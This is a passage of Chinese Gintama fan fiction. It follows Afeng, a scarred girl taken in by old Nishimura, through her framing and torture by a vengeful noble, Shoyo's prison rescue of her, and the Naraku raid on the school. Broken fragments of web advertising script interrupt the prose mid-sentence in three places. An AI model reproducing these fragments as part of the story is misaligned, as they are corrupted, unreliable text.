慢慢地,阿枫成了吉原里人人喊打的小贼,连官府也被愤怒的客人们逼得没办法,派了几个人把阿枫捉到狱里关了几天,又因为阿枫偷的都是蝇头小利定不了多大罪,况且阿枫按理说是吉原那个夜王掌控一定意义上拥有治外法权的地方上的人,官府不敢摸老虎尾巴,象征意义上关了阿枫几天后又把人丢回去。 阿枫就这样浑浑噩噩地度过了两载年华,饿的时候偷一点食物,有时候被抓到反而饿着肚子挨一顿打。天气变冷的时候就跑到酒馆的柴房里蜷缩着睡觉,等天刚刚亮起来的时候就摸一个冷冰冰的馒头跑走。 碰到那个死老太婆绝对是她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 相对顺风顺水人生的滑铁卢。 树叶变得金黄的时候,那个老太婆推着一车黄橙橙的脆柿子来到吉原。 老太婆头发一片片白的,眉毛也是白的,脸像刚洗出来的衣服一样皱皱巴巴,左眼下有一道狰狞的疤,似一条白色的蜈蚣爬着,看起来格外不好惹。 老太婆佝偻着身子,哚哚哚地瞧着那跟看起来跟她一样老的拐杖,一脸凶样卖着她的柿子。 阿枫从兜帽下檐瞧见了,咂舌:这么凶的老太婆,谁会买你的柿子啊。 话虽这么说,阿枫却悄无声息地靠近那车柿子,正好秋天到了,她回想起柿子软绵绵的沙质口感和甜到心里的味道就馋得不行。 她小偷小摸惯了,就顺手拈起一个柿子再以迅雷不及掩耳之势藏进衣袖里。 “啪!” 干枯却有劲的手像烙铁般牢牢箍着她的手臂。 “!” 阿枫故作夸张地痛呼,她很确定这个老太婆是第一次来吉原。 “干嘛啊,死老太婆,痛死了!” 老婆婆气得吹鼻子瞪眼,眼下那条蜈蚣狰狞地扭动。 她举起拐杖就是呼呼地砸,梆梆地砸在肉上的声音听着令人牙疼。 “痛!” 阿枫一边跳着躲避密如雨点的敲打,一边在心里怒骂:死老太婆,这么大的力气! 西村婆婆用力敲着阿枫,嘴里不住地碎碎念:“该死的小偷,跟那两个臭小子一样,就喜欢偷我的柿子,你们这群恶虫,老鼠!” 同时又哭天抢地地哀嚎:“诶呦可怜我一个孤孤单单老太婆,手无缚鸡之力,被人欺负到头上来了呦。” 说完西村婆婆敲击的力气更大了。 阿枫尖叫着狼狈闪躲,不介意间,头上灰扑扑的兜帽溜一下就掉下来。 西村楞了一下,不知为何更加生气了。 边打边骂:“你这混账,惯会使些下三滥的手段,你以为摆出这样一张脸我就会心软放过你吗?!” 阿枫忍不住破口大骂:“神经病啊死老太婆,放开我啊,不过是拿了你一个柿子而已,还给你还给你。” 阿枫用另一只手掏出衣袖里的柿子,用力砸到灰扑扑的地上,饱满柿子就像被捏破的气球一样“扑哧”一声炸开黄橙橙的汁水。 西村虎目瞪圆,硬生生拽着瘦小的阿枫踉踉跄跄晃动。 “你跟我走,你砸坏了我的柿子,赔我。” 阿枫惊觉挣不开西村像铁丝一样牢固的手臂,左扭右拐像个蛆,双脚在泥巴小地上犁出一道沟壑,被西村蛮力拖出吉原的边界。 阿枫突然有些害怕,杀人的时候她都没有那么紧张过,离开吉原领地的一瞬她才意识到她对这个地方居然怀着某种奇妙的归属感和安全感。 举目四望,渐渐荒芜的野草恣意漫生,几朵不知名的野花点缀,不像吉原那个不见太阳,一年四季都是辉煌灯光的天穹,外面的天空很蓝,特别清澈透亮,偶尔飘过的白云像是悠闲的旅行者,在蓝天的舞台上缓缓游走。 阿枫慢慢放松了挣扎的力道,呆呆地望着她从未去了解的一幕。她把自己困在吉原那个小小的天地,以为跑出青楼就是自由,其实她只是一条装在玻璃罐里的鱼,当她以为自己跳出罐子找到一片自由的天地,其实那只是一个更大的水缸。 西村拽着她的力气变小了,她扭过头恶狠狠地说:“你要给我干活,每天去村口挑水,打扫卫生,做饭,直到你还清柿子的钱为止。” 阿枫低着脑袋沉吟了一会,才慢吞吞地说: “包饭吗?” 西村扭过头冷哼了一声。 “饿不死足够了。” 14. 有些藏在骨子里的东西千锤万击也砸不烂 起先阿枫被西村婆婆带回来的时候大家都极力劝阻,男人们害怕阿枫在吉原当扒手的传闻,顾虑着自己的一亩三分地。而女人们厌恶阿枫吉原的身份,哪怕她已经把脸划得破破烂烂半点看不出曾经的模样,那厌恶之情也像衣服上的霉菌,哪怕你知道自己已经洗干净了,但那种挥之不去的恶心感仍萦绕在心头。 奈何西村婆婆精明了一辈子,却在收养阿枫这件事上执迷不悟,死撅着脖颈,狠狠挥舞着长长的扫帚,一下下扎在那些打算强硬把阿枫带走的男人身上。 一边用力拍打,一边粗声粗气。 “阿枫是我捡来的孩子,我爱把她带哪就带哪,再说,这小兔崽子还欠我柿子钱呢,没还清钱我不会放她走。” 高大的男人被唬得不敢还手,曲着背弓着腰双手抱头到处乱窜,手忙脚乱。 “滚!都给我滚!这里是我家!” 西村怒目而视,几个男人互相看了眼,就犹犹豫豫地跑开了。 西村余怒未消,眼角的蜈蚣顺着她努力平复心情的动作起伏。 阿枫捧着碗吃饭,看也没看她一眼。 西村婆婆气不打一处来,骂她: “死丫头,怪你惹出这些事端来,我不是教过你要把那些欺负你的小崽子狠狠打得说不出话来吗?” 阿枫放下贴在脸上的碗,露出一张狰狞的面孔,她下意识摸了摸左手臂被盖住的伤痕,思索了一会,咧着嘴回答: “当然打了,死老太婆,但他们人太多了。” 西村皱着眉头,走到墙角里弯着腰摸索药箱,一边阴阳怪气。 “嘿,要我说你就是太弱了,想我当年拿着铁棍把二十几个嘲笑我脸上疤的小崽子全部撂翻,以后他们见到我就跑,哪有告状的胆子。” 阿枫伸出手让西村处理她手臂上的伤口,被西村粗暴的动作疼得嘶嘶抽泣。 她小声抱怨:“疼死了你不能轻点嘛,再说,这也不是我的错。” 西村把沾有酒精的棉签重重地按在划开的口子上,没好气地说: “你没有错,但他们人多势众,加起来指责你是个怪胎,异类的时候,不管是不是你的错,你永远会是那个背锅的人。” 西村端来一盆清水,撩起袖子给阿枫擦拭伤口,嘴里不停地絮叨: “我让你戴上面具你这死丫头怎么就这么倔呢……” 阿枫被唠叨得烦了,好像知道接下来要说的话术。“我都是为了你好”“我不会害你”,令她厌恶得仿佛回到那个到处弥漫着甜腻到窒息的胭脂水粉的小阁楼里。 她忍不住打断西村的话,句句带刺。 “我凭什么一定要遮住面容,妈妈收养我是因为这张脸,被那个猥琐男惦记是也因为这张脸!哪怕我把它划烂了,不好看了,大家还是盯着我这张脸,你知道他们嘲笑我什么吗,说我‘丑八怪’‘蜈蚣脸’,我只是想活下去,有这么难吗?!” 阿枫说到后面简直怒气爆发,胸膛里的怒火几乎破体而出,脸庞涨成紫红紫红的,声音尖锐得想把小锥子一下下刺着西村的大脑。 西村捂了捂耳朵,等阿枫平静下来,才一把堵住阿枫接下来的发作。 她冷笑了几声,道:“你还记得你刚来的那段时间改不了小偷小摸的坏毛病,偷了好几家的东西的事情吗?” 说着,西村仿佛回忆起当时掀开被子看到阿枫抱着一堆七七八八反正是这个家里不会出现的贵重物品时那血蹭蹭蹭往上涌的激动和愤怒。 阿枫被堵的哑口无言,愣了一会,才涨红脸结结巴巴说: “可、可是,当时也道歉了呀,还赔了不少……” 西村想起这件事就话语带刺,狠狠剜了这个败家女儿一眼。 “是,道歉了,赔礼了,他们就会放过你吗?人都有犯错误的时候,这不重要,那种看清自己的错误却依旧自甘堕落的人才最可悲。”西村婆婆瞟了阿枫一眼,才继续说道:“但人这种生物啊,能活得清清楚楚一码归一码的那就不叫人了,当你成为那个人群中不一样的人的时候,他们会产生排外心理,拿着放大镜仔仔细细挑着你的毛病,一点点堆积成埋伏千里的草蛇灰线,心里的不满情绪集中到某个点时,一件小事就能引爆它。” 西村温柔地摸了摸阿枫崎岖不平的脸颊,干枯的大手摩挲得女孩不经意瑟缩了一下,透过阿枫清澈的,愤怒的,充满不甘心的眼神,她仿佛看到一个小小的孩子,不甘,厌恶,又流着血和泪声嘶力竭质问这个不公的世界。 西村叹了口气,好像一瞬间衰老了。 “我要求你带上面具是希望你能学会隐藏一身的傲气和骨气,带着面具虽然也很奇怪,但总比脸上的疤痕显得不那么特别。我要你遮住伤疤不是叫你屈服于不公的命运,而是学会蛰伏、沉淀,我期盼着有一天你摘下面具的时刻,他们都会歌颂你的美貌。” 西村揉了揉阿枫的脑袋,思绪一瞬间飘远,她的眼前仿佛站着另一个小小的孩子,有着绿色的眼睛,内里同样孕育着愤怒与不甘。 “我见过一个像你这么大的小孩,很漂亮,也很聪慧,但他的清醒与聪慧与这混乱的世间格格不容,弯不下他的永远笔直的傲骨……”西村莫名叹了口气,眼里伤过一丝不易察觉的哀伤和惋惜。 “他将来一定会走上一条布满荆棘的道路,苦难把他扎得鲜血淋漓,但那双永远清醒着布满怒火的眼睛,一定会把这腐烂的世间燃烧,破坏,连同他自己,直至愤怒停息。” 阿枫听得似懂非懂,直楞楞地坐在床缘上,有一搭没一搭地晃着小短腿。 西村婆婆已经不知道是第几次叹气了,两撇白白的眉毛皱的可以夹死苍蝇。 “哎……我这些话,你就听着罢,要选择怎样的活着,那是你自己的人生……” 很多年后,当阿枫频繁地回忆这个平常的午后,空气中弥漫着消毒水的味道,外头阳光正好,微风不燥,头发花白的老妇人坐在她的面前,目光仿若能穿透时光,她又变成了那个一身反骨的小女孩。隔着漫长悠久的时光,她才恍惚想起来,那个女人说的话,隔着一层薄雾的,黝黑发亮的眼神里是藏不住的悲哀。 * 阿枫见过很多苦难的人,贫穷的人,为了生活向富人咬牙切齿低头的人。 但那时的她被浮于表面的繁华和虚荣迷了眼,总认为神把世人分做三六九等是有道理的,说不定他们上辈子犯了什么错今生才如此遭罪罢。 后来她反倒成了苦难的那个人,就开始抨击神明啊,埋怨命运的不公啊,她是自大的,狂妄的,且无知的。她以为自己发了狠,用簪子破坏掉那天赐的美貌,随意糟蹋自己就是反抗,就是屈服。但当她真正的了解了那个人,那个平庸的老妇人,那个为了她深深弯下脊梁骨的女人,忽然就明白,原来她所做的一切不过是一个无知孩童的撒泼,得不到就要毁掉的可笑的幼稚。 “放了她罢,阿枫她……她已经是个好孩子了,她绝对没有偷呵……” 西村跪在地上,颤颤抖抖地弯下了腰,干枯的白发抖得像打寒颤的树叶,仿佛被风一吹就要断了。 阿枫的额头被敲破了一个口,鲜血从石卵般大小的伤口里咕噜噜地流,失血让她手冰脚冷,视线模糊一阵阵发黑。她被一个凶神恶煞的男人夹在咯吱窝里,视线太高了,她只能看到西村婆婆骷髅似拱起来的脊背,像排骨一样,但干巴巴没有肉。 阿枫的视野发红,发黑,眼前倒是看不清什么了,思绪被浑浑噩噩的寒冷拉入混沌的泥沼,在失去意识的那一刻前,她想起了被婆婆发现偷东西的那天,女人蛮横地拽着她的手一家家给人道歉,赔偿,她没有说话,目光顺着树梢的阳光溜达溜达才投到女人的身上。 西村像那天一样 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弯着腰,说着她听不下去的话,衣服松松垮垮地挂在零落的身体上,几乎可以数的清每一块凸起的刀锋似的脊椎骨。 ……原来,她这么瘦啊。 “西村萩,你不要被这个小贱人迷惑了,看清楚,她可是偷了官家大人的东西,这可是要杀头的重罪,你担当得起吗?” 男人恶狠狠地数落佝偻的老妇人,她却只是跪在地上,头深深地低下,一遍遍说,不厌其烦地说:“不是阿枫,不是阿枫,她是好孩子……” 男人自讨没趣,突然发力猛踹了一把旁边的桌子,尚冒着白气的饭菜随着碗筷噼里啪啦咋在地上,弹溅起一个个嶙峋的白色的瓷片。 他哼了一声后,架着昏过去的阿枫离开了。唯余那个孤零零的老妇人安静地匍匐在地上,脊背被巨大的绝望和无助深深压垮,她仿佛一瞬间苍老了十岁。 * 松阳等人闻询赶过来的时候,西村正在木木地收拾房间,跪坐着,手里捏着一大块破碎的瓷片,眼神却是空洞的,呆呆的不知道在想什么,连扎破手指流出的血都没有注意到。 松阳看着满地的狼藉,一瞬间,银时惊觉松阳身上掠过一闪而过的杀意,却很快被隐藏在担忧的目光中。 松阳小心地拿走西村婆婆手上的瓷片,那个女人像是根本没有力气了一样手臂倏地就垂了下来。 西村没头没尾地问: “松阳,你说他们丢了什么,值得这么大兴师动众的。” 松阳沉默了半晌,一点也不嫌脏地用袖子擦干净西村手指上的血污,才回答道: “想必,是案牍吧,因为事关幕府的阴私,所以急着抓人罢。” 西村却仿佛抓住了救命稻草般,死死拽着松阳的手臂,眼里闪着光。 “那阿枫不可能会去偷案牍呀,她连字也不识几个,政府什么的,她根本不知道在哪呀。” 松阳却沉默了片刻,才温柔安抚着:“嗯,阿枫没偷,我替你去说情罢,我一定给你带回来。” “老师!” 身后一言不语的高杉却惊了,猛然抬起头,欲言又止。他还是武家的嫡子的时候再清楚不过了,但凡涉嫌偷盗案牍的示例,无外乎皆以砍头做结,松阳去多半也会被牵连。可是……看着期期艾艾的西村婆婆他却一句话也说不出来,焦急地堵在喉咙里。 律却摸了摸脑袋,眼睛直勾勾的。 “其实只要把那些差役都杀了罢,人自然就就回来了。” 听到这一番惊世骇俗发言的银时狠狠敲了一下律的脑瓜子,恨铁不成钢。 “你傻吗,差役死了整个村子都得遭殃啊。” 律委屈地揉着发痛的地方,撇撇嘴一言不发。 桂严肃地点头,“银时说得对,我们不能这么鲁莽。再说……” 桂看了一眼跪在一片狼藉里的西村婆婆,叹了口气还是把可能的猜想说出来。 “官府的文书如此重要,那么储藏它的必然是重重士兵把守的要塞,仅凭阿枫一个小女孩不可能偷盗,况且事情刚发生没多久他们就有预谋般地来抓人了,我猜,这件事背后一定有隐情。” 高杉顺着桂的话思索,下意识点头。 “按理说有资格接触文书的除了政府钦定的官员外就是和天子有血脉联系的贵族了……” 高杉扭头看向西村,认真地问道:“阿枫她有招惹什么大人物吗?那人为何如此记恨她以至于要她死?” 西村猛地抬起头,电光火石间,她想到了造成阿枫这幅模样的罪魁祸首。 她的嘴唇嗫嚅,嘴角挂着苦涩的笑,眼里的光却渐渐淡了下来。 “阿枫她……一定得死吗?” 松阳却缓缓摇了摇头,搀扶着失去浑身力气的西村站起来。 语气带着一丝不容置喙的坚定,“我向你保证,我会带阿枫回来的。” 15. 苦难就像咖啡豆一样怎么嚼都不甜 阿枫被带回来的时候是一个秋天,树叶燃烧得如火一般,糜烂的柿子香味飘到家家户户门前。她喜欢踮着脚趴在窗外看村口的教书先生给孩子们讲课,先生长得很漂亮,头发又细又长,像极了上好的绸缎,当然最引人注目的还是那双灰绿色的眼睛,像雾一般笼罩着朦朦胧胧的眼核,看过来的时候总是显得温柔多情。 靠在窗子下抱着刀睡觉的白毛同学把脑袋一顿一顿地磕在窗沿,毛茸茸的头发随风飘扬,像秋日里漫天飞舞的蒲公英,惹得阿枫心痒痒,恨不得上手摸两把。 这时候教书先生总会笑眯眯地走过来,白毛同学仿佛预感到什么危险来临般在梦里狠狠打了个寒颤,气球一样的鼻涕泡“啪”一下破了,而松阳的拳头如约而至。 在白毛抱着脑袋痛呼的同时,松阳眨着眼问阿枫要不要进来一起听课。 松阳问过很多遍,阿枫也答过很多次,每每把一篮柿子重重地放在窗台上就一溜烟转身跑了。 她没想到有一天会在这里见到松阳。 松阳是美好的,纯净的,是一匹洁白无瑕的布段,是富士山上皑皑的白雪,仿佛世上任何美好的词汇都是为他而存在。 至少这个温和眼底永远带着笑意的教书先生不该出现在这个充斥着阴暗潮湿的腐尸和铁锈味的牢房里。 被无变的黑暗吞噬的走廊里,腐臭和血污倾洒在泥水墙上,空气中弥漫着铁链拖在地上的哗哗声和狱卒呵斥的声音,地上常年不畅的积水像一条腐臭的蛇在不甘与咆哮间穿梭。 松阳一身灰袍,面上仍是阿枫所熟悉的,柔和的笑。看起来与这个幽暗的牢房格格不入。 “你笑什么啊……” 阿枫的声音却是有气无力了。粗大的铁链牢牢铐着她纤细的腕子,手臂上,小腿肚,密密麻麻遍布着令人触目惊心的鞭痕,烫痕,一道道翻着血丝的伤口像蜘蛛网一样爬满她的全身。嘴唇上的皮因干枯失血而泛起白色的蜕膜。 松阳隔着手臂粗的铁条与阿枫无神的双眼对视。 那个教书先生像往常一样笑起来,眉眼弯弯,伸出食指比了个嘘的动作。 阿枫的眼睛倏地睁大,瞳孔因剧烈的刺激而紧缩。 刀刃寒光乍起,如冬日冷冽的寒潭,流光在光洁如新的刀面上跳跃,刹那间,刀光划破黑暗,整个空气都仿佛激烈起来了。 “那里什么动静!” “快过去看看!” 狱卒慌张又匆忙的脚步声渐渐近了,阿枫抬起头,呆呆地看着眼前蹲下来的男人。 松阳用袖口擦干净她脸上脏兮兮的血污,绿油油的眸子里闪着光。 “阿枫,我带你回家。” 阿枫心头一酸,鼻子抽动,有那么一瞬间想哭。 她垮着脸摇头,话语里是道不尽的苦涩。 “我回不去了……那个男人,我之前让他出了那么大的糗,他不会放过我的……逃,又能逃到哪里去呢……” 松阳轻轻地摸了摸阿枫的脑袋,温和的目光如同无垠广阔的星河,清澈,包容,令阿枫激荡的心情渐渐平息在松阳平静的眼神里。 松阳唇角含笑,手腕上挑,冷冽的刀光闪烁,就把铐住阿枫的铁锁砍断了。 “小孩子只要撒娇就好了,为你们的成长开路这种事就交给大人吧。” 松阳轻轻抱起精疲力尽的阿枫,像抱着小婴儿一样把阿枫揽在怀里,阿枫趴在松阳的肩头,温柔如春水的话语像溪流暖了心田。 “闭上眼睛。” 阿枫听话地紧闭双眼,视野遁入一片漆黑,阿枫却不再害怕。身旁是松阳轻轻浅浅有规律的呼吸,鼻尖萦绕着干爽的皂角香味,像被太阳晒得暖烘烘的被子,牢狱里腐烂的腥臭也不是那么难以忍受了。 阿枫感受到细细的颠簸和松阳平稳有力的心跳,仿佛流浪的倦鸟归巢,又像踏上平稳宽阔的大地,一种疲惫的真实感和令人心酸的安全感咕噜咕噜抑制不住冒出了头。 耳边掠过细细的风,发丝刮蹭着细嫩的耳廓,很痒,轻飘飘的。阿枫认真地听着松阳慢悠悠的脚步声,凭着被关押进来的路途,猜测他走到了哪里。 松阳突然停顿了下来。 耳边是闷闷的笑意传来胸腔的细细震动。她听到松阳无奈又好笑的叹息。 “你们怎么也来了,不是叫你们留在西村婆婆家里好好照顾她嘛?” 某白毛操着一口阿枫熟悉的懒洋洋的强调,她都能想到银时那抠着鼻屎死鱼眼的欠揍模样。 “松阳好狡诈哦,英雄救美这种事是小孩子的特权吧。” 翻译能力十级的律举起手。 “银时的意思是他放心不下松阳老师。” “咚!”一个听着牙疼的榔锤。 “哎呦!”律捂着脑袋哀嚎。 银时凶神恶煞,耳尖腾升的热意却暴露了内心的真实想法。 “谁教你这么乱七八糟的翻译啊!” 向来靠谱的桂同学游刃有余地指了指一个方向,告诉松阳: “老师,那里是一处缺口,走这里不容易被差役察觉。” 一向师控的高杉目光止不住担忧,上上下下观察松阳,见他只是衣袍沾了些许灰尘外并无血迹后,悄悄地松了口气。 松阳忍不住笑了,眼前这些带着担忧匆匆而来的学生们让他像吃到沾了糖霜一样的面包一样甜滋滋,暖烘烘的。松阳第不知道几次觉得他的学生们真是太可爱了。 “银时,律,小太郎,晋助……”松阳噙着笑意的目光依次抚过身旁的小萝卜丁们。 “谢谢你们,但我有必须要完成的事……” 松阳轻手轻脚把疲惫得睡去的阿枫抱下来,弯下膝盖和银时面对面。 “银时,我请求你带上阿枫他们,从小太郎说的那个小道回去,完完整整把他们带回家,你能做到吗?” 银时仿佛预感到接下来要发生的事,一惯懒洋洋的表情变得严肃起来,红褐色的眸子直视松阳灰绿的眼睛,非常认真地点头。 “我答应你,松阳。” 律和桂托着阿枫的腿和屁股搭在银时背上,高杉眉眼里藏不住的焦虑。 “老师,您不跟我们一起走吗……” 松阳笑着摸了摸高杉紫色的头发,温和的眼眸眨着狡黠的光。 “晋助,老师也有不能让你们知道的一面呀。我答应你,一定会回去的,好吗?” 尽管担忧低落的情绪仍挥散不去,高杉还是听话地红着脸点头,目光挣扎不定,小手紧紧捏着松阳的衣服下摆,好半晌松阳才听到高杉小声的嗫嚅。 “老师,你一定要小心……” “喂,矮杉同学,再磨磨蹭蹭我们不等你了哦。” 银时回过头挤眉弄眼调侃高杉像个小媳妇一样扭扭捏捏。 高杉气愤地追上去要揍银时,又因为阿枫在他背上而不得不放弃这个念头。 松阳轻笑着看着四个小孩打打闹闹的背影渐行渐远,他们向着光透进来的地方前进,四个小小的身影像挺拔葱翠的青松,摇曳着青春最美好的气息。 松阳的脸隐入阴影,嘴角挂着一抹笑,眸底掠过诡谲的红光,气息刹那间变得阴冷和危险,又转眼间一瞬即逝,令人仿佛是错觉。 * 山村这几天感觉格外的神清气顺,自从被那个吉原的小妓女狠狠打了脸后,他做什么事都觉得憋屈,有时候做噩梦被阿枫狰狞着的一张脸吓得冷汗直流,曾经被狠狠贯穿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的脖子隐隐作痛,伤口叫嚣着屈辱和仇恨。 他的眼前不能自已地闪过自己匍匐在夜王面前因恐惧而发抖的身躯,凤仙漫不经心的目光像针一样屈辱地扎在他的心头。 每每想起这些,山村就控制不住怒火,咆哮着暴躁地把和室里精贵的瓷器,造价高昂的屏风砸着,撕碎着,仿佛把它们弄得破破烂烂才足以泄心头之恨。 后来机缘巧合之下,他看到一个娇小的背影擦身而过。 刻骨铭心的记忆随着仇恨,不可置信等情绪一窝蜂上涌。 不会记错的……就是那个贱人…… 那个身影,哪怕毁了容他也不会忘记的,仍带着一丝优雅婀娜的步姿…… 他近乎畅快地笑了,狰狞如恶鬼的表情把身旁服侍的侍女吓得一动不敢动。 山村在心里妄笑,很好,你居然有勇气爬出吉原那个龟壳,那就别怪我不客气了。 山村本以为被自己的计谋陷害入狱的女孩会看到曾经差点死在她手上的人而恐惧得发抖,他真是厌恶极了阿枫一惯平淡的,似乎什么也入不了她眼的目光。就连那时候,脖颈的鲜血泉涌般喷出,阿枫的半边脸沾满了浓稠的血,她的眼神依然清浅无波,不见半分恐惧害怕。仿佛山村在她眼里只是一只不起眼的草履虫,黏在脚下的口香糖那样卑微,渺小。 他恨不得抓着对方的眼珠子,强迫她看向自己,质问:你有什么资格蔑视我,区区一个卑贱的妓女,凭什么看不起我。 可是啊,那个女孩,被粗如儿臂的手铐吊起来,沾着盐水的铁丝重重划开她豆腐一样白皙细嫩的皮肤,衣服上的血液浓郁得可以拧出水来。她仍是笑着,咧着嘴,挂起最令山村不可忍受的,轻蔑的笑,桀骜不驯的,傲慢的眼神,仿佛在嘲笑他的愚昧与无知。 山村简直气得要发抖,在阿枫的眼里,他仿佛觉得自己就是一只随处可见的蝼蚁,卑微地匍匐在她的脚下。 山村重重冷笑一声,心情很好地盘着一串圆润润的佛珠,一想到明天阿枫就要被送上处刑台,他就忍不住咧开嘴笑。 “这位先生,什么有趣的事情让您如此愉悦呢?可以与在下分享一下吗?” 冷漠中夹杂着杀意的话语阴恻恻地在他耳边响起,如同惊雷炸响一般,山村吓得身体突然僵住,那个男人的杀气四溢,犹如千万根细若牛毛的针密密匝匝地扎在毛孔里,心脏砰砰砰跳个不停。 山村的声音紧张地变了调。 “你、你是什么人……我可是山村家族的家主,你、你要做什么?” 松阳轻轻地把手放在刀柄上,山村的冷汗唰一下就流下来了,口干舌燥,眼神不由自主颤抖,松阳的杀气甚至让他站都站不稳,更别说拔刀了。 “噌——” “啊——” 山村下意识闭着眼尖叫,肥大的身躯一屁股Duang在地上,两条胖腿抖如筛糠,从两腿间淅淅沥沥流出一摊淡黄色的,泛着尿骚味的液体。 山村过了半晌才抖抖嗖嗖地睁开眼,身体,没有流血,手脚,都还在。 他悄悄地送了口气,一把寒光凛冽的刀倏地对准他,山村剧烈抖了一下,心提到嗓子眼里。 松阳的眼瞳不知为何变红了,嘴角仍挂着温柔的笑意,在山村眼里却显得那么诡谲怪异,周身萦绕着潮湿腐烂的死气,四周寂静得仿佛被一股无形的沉重压抑着,面前的恶鬼带着来自地狱的呢喃,散发着令人毛骨悚然的寒意。 这种感觉……西村只在那群被称呼为奈落的杀手组织里感受到过。 红色的瞳孔流露无机质的冷光,松阳的表情没有任何波动。 “阿枫我带走了,如果你们再向弱小之人举剑,我不介意毁灭个把个国家。” 16. jump男主们的战斗即将开始 银时被松阳捡到也是这样一个残阳如血般的日落。 晚霞绚丽如画,红彤彤的光轮悬挂苍穹,余晖染尽天际,天边的一块火烧云红得似血,暮光扑撒在银时白色的头发,使得耀眼的发色变得金黄。 他背着瘦小的女孩,慢悠悠地、一深一浅地走。 落日将光辉温柔地洒落湖面,波光粼粼,泛着一圈圈金黄色涟漪。银时眯着眼,波纹在他红色的瞳孔里荡漾。 他想起来以前松阳也是这么背着他回家的,走在稻香浪浪的麦地,步调慢悠悠的像个老头子。松阳会提着他磨损严重的草鞋,双手稳稳地拖着他,脊背宽大而温暖,仅仅是靠着就能感受到无尽的安心。 现在的他也像松阳一样,歪七扭八地背着一个女孩儿,瘦得如同一堆尖锐的骨头和一张薄薄的皮捏成的,肋骨戳着他的脊背硌得疼。 阿枫虽瘦,但比银时高半个头,这个年纪的女孩子个子就像抽条一样,银时背着阿枫还得费力地抚稳免得挂在背上的女孩歪歪斜斜栽了个跟头,软趴趴的手臂像面条一样搭在肩膀上,随着银时走路的动作时不时磕到下巴。 高杉在后头看着银时滑稽的动作,忍俊不禁:“喂,你可背好咯,小心给人摔了。” 银时想扭头吐槽,但对于这个姿势而言难度还是太大,于是只好扭了半个身子,瞪着踢着石子走路的律假装那是小矮子高杉,道:“你想背还没那个能耐呢,怕不是人刚上去就从后脑勺往前翻了吧。” 律无辜地眨了眨眼睛,脚下一个没注意踩着石子跌了一下,石子被脚底向后碾的后坐力踢飞,弹到桂的脑门上。 “痛!” 桂捂着泛红的额头眼泪汪汪。 “扑哧……” “银时你是不是在嘲笑我?” 桂有点生气地质问。 “没啊,假发你也太自以为是了吧。” 银时扭过头就是不看桂,满不在乎地说。 桂的表情挂上严肃,盯着阿枫的后脑勺似乎透过它看到那头熟悉的白色天然卷。 “银时,你真的没有吗,你看着我的眼睛发誓真的没有嘲笑我。” 银时不耐烦了,大声嚷嚷。 “烦死啦,都说没有啦,再说我背着人怎么扭头看你啊。” “哼哼哼……” 那个诡异的笑声又出现了。 高杉似有所感把目光投向银时的背后。 察觉到背上传来细细的震动和气流铺洒在发丝的痒意,银时瞥了一眼女孩,嘴角勾起一个难以察觉的笑。 声音懒洋洋的:“醒了就不要装睡了哦,快点下来自己走啦,阿银背不动啦。” 阿枫假装闭着眼,把下巴埋进毛茸茸的发丝里,嘴里嘀咕嘀咕道: “呼——噜——” 走在一旁的律突然笑了一下,他觉得阿枫打呼噜的声音像极了他养的那只猫。 银时没说什么,只好无奈地颠了颠女孩,调整到一个更稳当的位置,睁着一双死鱼眼望着前方漫长的、被夕阳晒得暖烘烘的路,仿佛不经意间开口: “回去要阿银奖励哦,至少一篮子的柿子,假发矮杉和律没有。” 阿枫低着脑袋偷笑,窄窄的肩膀微微耸动,像寒风里打颤的枯叶,又轻飘飘地落到地上。 笑声似乎有感染力般,其余三个互相对视了一眼,哑然失笑。 律拍了拍手上的尘土,不服气地说:“喂,银时,上次医生说你少吃点糖分,都已经蛀牙了哦。” 被几人插科打诨的氛围感染,高杉内心的焦虑感慢慢散了,抱着胸有点不屑地冷哼。 “这个一年到头散发着甜味的笨蛋的脑袋早就被糖分蛀空了。” “你在说什么啊,糖分可是人体能量的重要来源,就是因为你不轻视它,糖分大神才会给你降下惩罚,明明是个矮杉却要叫高杉干嘛啦。” 银时熟练地用身高梗反驳,果不其然,高杉像被踩了尾巴的猫一样应激反应,气鼓鼓地不知道怎么反驳。 “你!” “好啦好啦。” 桂熟练地卡在中间打着哈哈,嘴角含着一抹淡淡的笑。 “等老师回来了,大家就坐在一起吃柿子吧。” * 古人唯爱秋,更闻枫叶落下,便知淅沥度秋之声。红得艳华的枫叶却被用来描述秋天的宁静和美丽,更象征着短暂却灿烂的生命之美。 枫叶在秋风的轻抚下,绽放出绚烂的色彩,宛如天边的晚霞,将大地装扮得如同一幅流动的油画。它们以火焰般的热情燃烧在枝头,炙热而明亮,照耀着一切,舔舐着一切,也吞噬着一切。 火焰跳跃着,像是狂热的舞者,在夜幕释放着他的激情,他将帷幕笼罩那间小小的村塾,火舌狂乱飞舞,在墙上,在地上,疯狂地跃动,将黑夜瞬间变成白昼,也投射出扭曲的影子。烧灼的木头嘶嘶作响,火焰在咆哮,浓浓的烟雾和焦糊的味道在空气里弥漫。 银时小小的身影被火光照得发亮。 他被禅杖死死压在焦黑的土地,全身紧绷着,肌肉因用力而颤抖,每一寸肌肤都在抵抗巨大的束缚。 “松……松阳……” 银时深红色的眼睛瞪得大大的,每一次呼吸都显得急促而沉重。 “放开……老师……咳咳咳!!” 银时用脑袋死死抵着地板,像濒临绝境的野兽一样发出临死前的怒吼,几个奈落差点压不住银时的反抗。 站在最前面的那个男人深深地看了一眼银时,灰白色的眼睛像凝结的蜘蛛网,没有任何感情,只余无尽的空洞与死寂。 胧轻轻地叹息一声,他的声音像从喉咙深处缓缓挤出,如同沉重的钟声带着一种压抑的情绪。 “松阳的学生呵,就凭你那把脆弱的剑,什么也保护不了。” 胧平静地看着跪在地上挣扎的银时,他的眼神让人感到一种难以言喻的距离感,似乎已经与外界的一切情感隔离,不再对周遭的事物有任何反应。 “哈?对付你,足够了吧!” 那声音像是从虚空中猛然蹦出,一道银光划破夜空,犹如流星一般疾驰而来。 “噌——” 刀身嗡鸣,刀柄剧烈震动了几下,然后稳稳立在银时的面前。泥土和草屑被刀尖带起,四散飞扬,最终落在刀身两侧。 